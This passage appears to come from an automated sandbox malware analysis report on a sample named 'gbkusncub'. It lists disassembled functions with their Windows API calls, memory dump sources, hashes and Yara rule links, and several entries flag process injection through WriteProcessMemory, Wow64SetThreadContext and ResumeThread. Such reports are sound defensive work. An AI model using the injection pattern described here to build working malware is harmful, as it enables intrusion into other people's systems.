                                                                                                                                                        • ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000,?,0000002E), ref: 013C4BDC
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013C3000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Thread$ContextMemoryProcessResumeWow64Write
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2794113056-0
                                                                                                                                                        • Opcode ID: 2b04bfe04a0b69cb73db84a6136a497ba5b4287cef490e4345b88064049df080
                                                                                                                                                        • Instruction ID: ab0add11206e4f646cc5e46be16562e592a7029e33e6bf0f8b72f152ddd14c48
                                                                                                                                                        • Opcode Fuzzy Hash: 2b04bfe04a0b69cb73db84a6136a497ba5b4287cef490e4345b88064049df080
                                                                                                                                                        • Instruction Fuzzy Hash: DF51823868D781AFD306ABB4DC22B153B71AF93B18F1540DED2808F1E3D6665C19C762
                                                                                                                                                        Function 013C4A41 Relevance: 4.6, APIs: 3, Instructions: 149threadinjectionCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • WriteProcessMemory.KERNELBASE ref: 013C4B71
                                                                                                                                                        • Wow64SetThreadContext.KERNEL32(?,?,0000002E), ref: 013C4BBC
                                                                                                                                                        • ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000,?,0000002E), ref: 013C4BDC
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013BF000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Thread$ContextMemoryProcessResumeWow64Write
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2794113056-0
                                                                                                                                                        • Opcode ID: 2b04bfe04a0b69cb73db84a6136a497ba5b4287cef490e4345b88064049df080
                                                                                                                                                        • Instruction ID: ab0add11206e4f646cc5e46be16562e592a7029e33e6bf0f8b72f152ddd14c48
                                                                                                                                                        • Opcode Fuzzy Hash: 2b04bfe04a0b69cb73db84a6136a497ba5b4287cef490e4345b88064049df080
                                                                                                                                                        • Instruction Fuzzy Hash: DF51823868D781AFD306ABB4DC22B153B71AF93B18F1540DED2808F1E3D6665C19C762
                                                                                                                                                        Function 013C4A41 Relevance: 4.6, APIs: 3, Instructions: 149threadinjectionCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • WriteProcessMemory.KERNELBASE ref: 013C4B71
                                                                                                                                                        • Wow64SetThreadContext.KERNEL32(?,?,0000002E), ref: 013C4BBC
                                                                                                                                                        • ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000,?,0000002E), ref: 013C4BDC
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013C2000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Thread$ContextMemoryProcessResumeWow64Write
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2794113056-0
                                                                                                                                                        • Opcode ID: 2b04bfe04a0b69cb73db84a6136a497ba5b4287cef490e4345b88064049df080
                                                                                                                                                        • Instruction ID: ab0add11206e4f646cc5e46be16562e592a7029e33e6bf0f8b72f152ddd14c48
                                                                                                                                                        • Opcode Fuzzy Hash: 2b04bfe04a0b69cb73db84a6136a497ba5b4287cef490e4345b88064049df080
                                                                                                                                                        • Instruction Fuzzy Hash: DF51823868D781AFD306ABB4DC22B153B71AF93B18F1540DED2808F1E3D6665C19C762
                                                                                                                                                        Function 00716BFA Relevance: 4.6, APIs: 3, Instructions: 103COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000001,?,00000000), ref: 00716CA1
                                                                                                                                                        • SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001), ref: 00716CB1
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FilePointer
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 973152223-0
                                                                                                                                                        • Opcode ID: ad078fffc6d1f45c7059145f9ecb44358cfeb03b94bd656c25702065c29dbbfe
                                                                                                                                                        • Instruction ID: 30386ec29889b5c2da26fad36e3f3792defd142103cb05a50ae76f0987c017ad
                                                                                                                                                        • Opcode Fuzzy Hash: ad078fffc6d1f45c7059145f9ecb44358cfeb03b94bd656c25702065c29dbbfe
                                                                                                                                                        • Instruction Fuzzy Hash: 3B315971A0061AEFDB14CF6CC981BD9B7B5FB04714F148629E815A7280D7B5BE94CBE0
                                                                                                                                                        Function 0072FCBB Relevance: 4.6, APIs: 3, Instructions: 75timewindowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00715F59: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00716049
                                                                                                                                                        • KillTimer.USER32(?,00000001,?,?), ref: 0072FD44
                                                                                                                                                        • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0072FD53
                                                                                                                                                        • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0076FDD3
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: IconNotifyShell_Timer$Kill
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3500052701-0
                                                                                                                                                        • Opcode ID: 9bc28c4942459646fda96b56c8c2cd1f24064051b9d2382e74043af35e2f8bd7
                                                                                                                                                        • Instruction ID: 439c4ac1033a3f905ea02c8d9ee90fe67bf1ae537768b378f5dcf22a6965be1a
                                                                                                                                                        • Opcode Fuzzy Hash: 9bc28c4942459646fda96b56c8c2cd1f24064051b9d2382e74043af35e2f8bd7
                                                                                                                                                        • Instruction Fuzzy Hash: 8A31F970A04354AFEB32CF2498957E6BBFC9F06304F0004AEE9DA57241C3786A85CB55
                                                                                                                                                        Function 00748A3E Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CloseHandle.KERNELBASE(00000000,00000000,?,?,0074895C,?,007D9CE8,0000000C), ref: 00748A94
                                                                                                                                                        • GetLastError.KERNEL32(?,0074895C,?,007D9CE8,0000000C), ref: 00748A9E
                                                                                                                                                        • __dosmaperr.LIBCMT ref: 00748AC9
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CloseErrorHandleLast__dosmaperr
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2583163307-0
                                                                                                                                                        • Opcode ID: 61324faca3c0b2a41d9d2e897f85de23c7dc49156a1219ff8a3d2b81988944c3
                                                                                                                                                        • Instruction ID: 5f008c97d751cc49948237dba004601dc53a49fb97fb2e1d458d39259f0c6f90
                                                                                                                                                        • Opcode Fuzzy Hash: 61324faca3c0b2a41d9d2e897f85de23c7dc49156a1219ff8a3d2b81988944c3
                                                                                                                                                        • Instruction Fuzzy Hash: BE016F32705168D7D6A52334588977E27464B81734F2F821BF814DB0D3DFAC8CC44293
                                                                                                                                                        Function 0074971B Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SetFilePointerEx.KERNELBASE(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,1875FF1C,1875FF1C,?,007497CA,FF8BC369,00000000,00000002,00000000), ref: 00749754
                                                                                                                                                        • GetLastError.KERNEL32(?,007497CA,FF8BC369,00000000,00000002,00000000,?,00745EF1,00000000,00000000,00000000,00000002,00000000,FF8BC369,00000000,00736F61), ref: 0074975E
                                                                                                                                                        • __dosmaperr.LIBCMT ref: 00749765
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorFileLastPointer__dosmaperr
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2336955059-0
                                                                                                                                                        • Opcode ID: 9a3d691067ea17168421dce46e1d2f3fb3a87ee2f081bff8cff039a6064d16e8
                                                                                                                                                        • Instruction ID: 0ac6aa421e4606476b6ab0f46ee8b91ecdc658f320913ad52cc400262ec3fa31
                                                                                                                                                        • Opcode Fuzzy Hash: 9a3d691067ea17168421dce46e1d2f3fb3a87ee2f081bff8cff039a6064d16e8
                                                                                                                                                        • Instruction Fuzzy Hash: E3014C32A20118EBCB069FA9DC46CAF7B2ADB85330B244219F9118B191EB75DD418B90
                                                                                                                                                        Function 00722AD0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __Init_thread_footer.LIBCMT ref: 00722FB6
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Init_thread_footer
                                                                                                                                                        • String ID: CALL
                                                                                                                                                        • API String ID: 1385522511-4196123274
                                                                                                                                                        • Opcode ID: 34d72247cba82add9f2f614cb55b136cc09c38e199339471866e613ad3841e33
                                                                                                                                                        • Instruction ID: e815d3f4193dde58f7816b4a7886cbbd2bb2091f839d98d96bbe475c82216ce7
                                                                                                                                                        • Opcode Fuzzy Hash: 34d72247cba82add9f2f614cb55b136cc09c38e199339471866e613ad3841e33
                                                                                                                                                        • Instruction Fuzzy Hash: E322BD70608351EFC714DF14D494A2ABBF1BF88354F24895DF8868B3A2D739E946CB92
                                                                                                                                                        Function 007141E6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,007133E9,007E2418,?,?,?,?,?,?,?,007132EF,?), ref: 00714227
                                                                                                                                                          • Part of subcall function 007184B7: _wcslen.LIBCMT ref: 007184CA
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FullNamePath_wcslen
                                                                                                                                                        • String ID: $~
                                                                                                                                                        • API String ID: 4019309064-2724473089
                                                                                                                                                        • Opcode ID: 4f9095dd9d6dd6e43e437884e36f9696fd14aceae2db8bedd2ab19d85ed2d86d
                                                                                                                                                        • Instruction ID: f54604b458746bc7498ae2aead221d7d748d09e98f130a21823a83ac11f0448e
                                                                                                                                                        • Opcode Fuzzy Hash: 4f9095dd9d6dd6e43e437884e36f9696fd14aceae2db8bedd2ab19d85ed2d86d
                                                                                                                                                        • Instruction Fuzzy Hash: 2511A171600249EBCB50EBE89806EDD73FCBF49354B004065B945D72C2DEBCABC89B22
                                                                                                                                                        Function 007895F6 Relevance: 3.1, APIs: 2, Instructions: 62COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0071557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00715558,?,?,00754B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0071559E
                                                                                                                                                        • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00789665
                                                                                                                                                        • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00789673
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: PrivateProfileStringWrite$FullNamePath
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3876400906-0
                                                                                                                                                        • Opcode ID: b3fd8259e7d60c81552a3ec92e5bfde5fb47a6f61ee1fead4e56fcb38e2810ad
                                                                                                                                                        • Instruction ID: 5edcb4b608acfdca00957611e8a85d2400b422af9d7827d390b43bc4c2484058
                                                                                                                                                        • Opcode Fuzzy Hash: b3fd8259e7d60c81552a3ec92e5bfde5fb47a6f61ee1fead4e56fcb38e2810ad
                                                                                                                                                        • Instruction Fuzzy Hash: 02110779600625DFCB10EB68C844DAEB7B6FF48360B058444E856AB3A1DB38FD45CBD1
                                                                                                                                                        Function 00716E52 Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,00713B33,?,00008000), ref: 00716E80
                                                                                                                                                        • CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,?,?,00713B33,?,00008000), ref: 007559A2
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CreateFile
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 823142352-0
                                                                                                                                                        • Opcode ID: acea26cdc246be1fbb01dcc4ec9d6cfdf24e520bba7fd1d083d8bb9cad17632c
                                                                                                                                                        • Instruction ID: b00f392e525a599d4758c461893fbc46fb2b77b3ba85d2c54964bf0013c0dc60
                                                                                                                                                        • Opcode Fuzzy Hash: acea26cdc246be1fbb01dcc4ec9d6cfdf24e520bba7fd1d083d8bb9cad17632c
                                                                                                                                                        • Instruction Fuzzy Hash: BC015231245225B6E7300A2ADC0EFD77F98EF06B74F158310BE996A1E0C7B85899CB94
                                                                                                                                                        Function 007132A2 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • IsThemeActive.UXTHEME ref: 007132C4
                                                                                                                                                          • Part of subcall function 0071326D: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00713282
                                                                                                                                                          • Part of subcall function 0071326D: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00713299
                                                                                                                                                          • Part of subcall function 00713312: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,007132EF,?), ref: 00713342
                                                                                                                                                          • Part of subcall function 00713312: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,007132EF,?), ref: 00713355
                                                                                                                                                          • Part of subcall function 00713312: GetFullPathNameW.KERNEL32(00007FFF,?,?,007E2418,007E2400,?,?,?,?,?,?,007132EF,?), ref: 007133C1
                                                                                                                                                          • Part of subcall function 00713312: SetCurrentDirectoryW.KERNELBASE(?,00000001,007E2418,?,?,?,?,?,?,?,007132EF,?), ref: 00713442
                                                                                                                                                        • SystemParametersInfoW.USER32(00002001,00000000,00000002,?), ref: 007132FE
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1550534281-0
                                                                                                                                                        • Opcode ID: 40e50ca7ccad0af51b8fd9feead8f36189fbd920b9552abef98fe11899b3efb1
                                                                                                                                                        • Instruction ID: f532ff286a5c82172275cc252d95a1de0d6c43ff54a1de223ab72499b9616e42
                                                                                                                                                        • Opcode Fuzzy Hash: 40e50ca7ccad0af51b8fd9feead8f36189fbd920b9552abef98fe11899b3efb1
                                                                                                                                                        • Instruction Fuzzy Hash: 4DF05472555384DFE7006F68EC4EB653BA8A708705F10C405B5198D5E3CBBD45928F08
                                                                                                                                                        Function 0072F95E Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: SleepTimetime
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 346578373-0
                                                                                                                                                        • Opcode ID: 4baf0f66b484963d5f2809f940e6804dd2be6dc86869dd341b403cc573026200
                                                                                                                                                        • Instruction ID: edd999caafce5ea98056eedb1678aa89d985a258e093953e3cf455cab06a168b
                                                                                                                                                        • Opcode Fuzzy Hash: 4baf0f66b484963d5f2809f940e6804dd2be6dc86869dd341b403cc573026200
                                                                                                                                                        • Instruction Fuzzy Hash: 08F082712406059FD314EFA9D409B9AB7E5FF45360F004029E85AC7390DB74BC40CB95
                                                                                                                                                        Function 007394D1 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0074506A: DeleteCriticalSection.KERNEL32(?,?,?,?,?,007D9C08,00000010,007394DE), ref: 007450CC
                                                                                                                                                          • Part of subcall function 0074506A: _free.LIBCMT ref: 007450DA
                                                                                                                                                          • Part of subcall function 0074510A: _free.LIBCMT ref: 0074512C
                                                                                                                                                        • DeleteCriticalSection.KERNEL32(-00000020), ref: 007394FA
                                                                                                                                                        • _free.LIBCMT ref: 0073950E
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _free$CriticalDeleteSection
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1906768660-0
                                                                                                                                                        • Opcode ID: e8ded419e741bca5e81a0e08ef8f67dbb6a5b44f2820156a26bcab72233d4baa
                                                                                                                                                        • Instruction ID: b1e609c8049eb0203aab999040900e47e4cbd235108dfc4bf77010c063421057
                                                                                                                                                        • Opcode Fuzzy Hash: e8ded419e741bca5e81a0e08ef8f67dbb6a5b44f2820156a26bcab72233d4baa
                                                                                                                                                        • Instruction Fuzzy Hash: 95E09AB2D01450CBD721676CEC8AA4D33A4BB8E350B554516F40187022CB3D6C528B48
                                                                                                                                                        Function 00718774 Relevance: 2.6, APIs: 2, Instructions: 59COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000002,00000001,?,?,?,0071AE65,?,?,?), ref: 00718793
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?,?,?,0071AE65,?,?,?), ref: 007187C9
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ByteCharMultiWide
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 626452242-0
                                                                                                                                                        • Opcode ID: 099d8bb13ef32bfeb39db2e0e433570331192e200a4b801aa8de36bd23d3063a
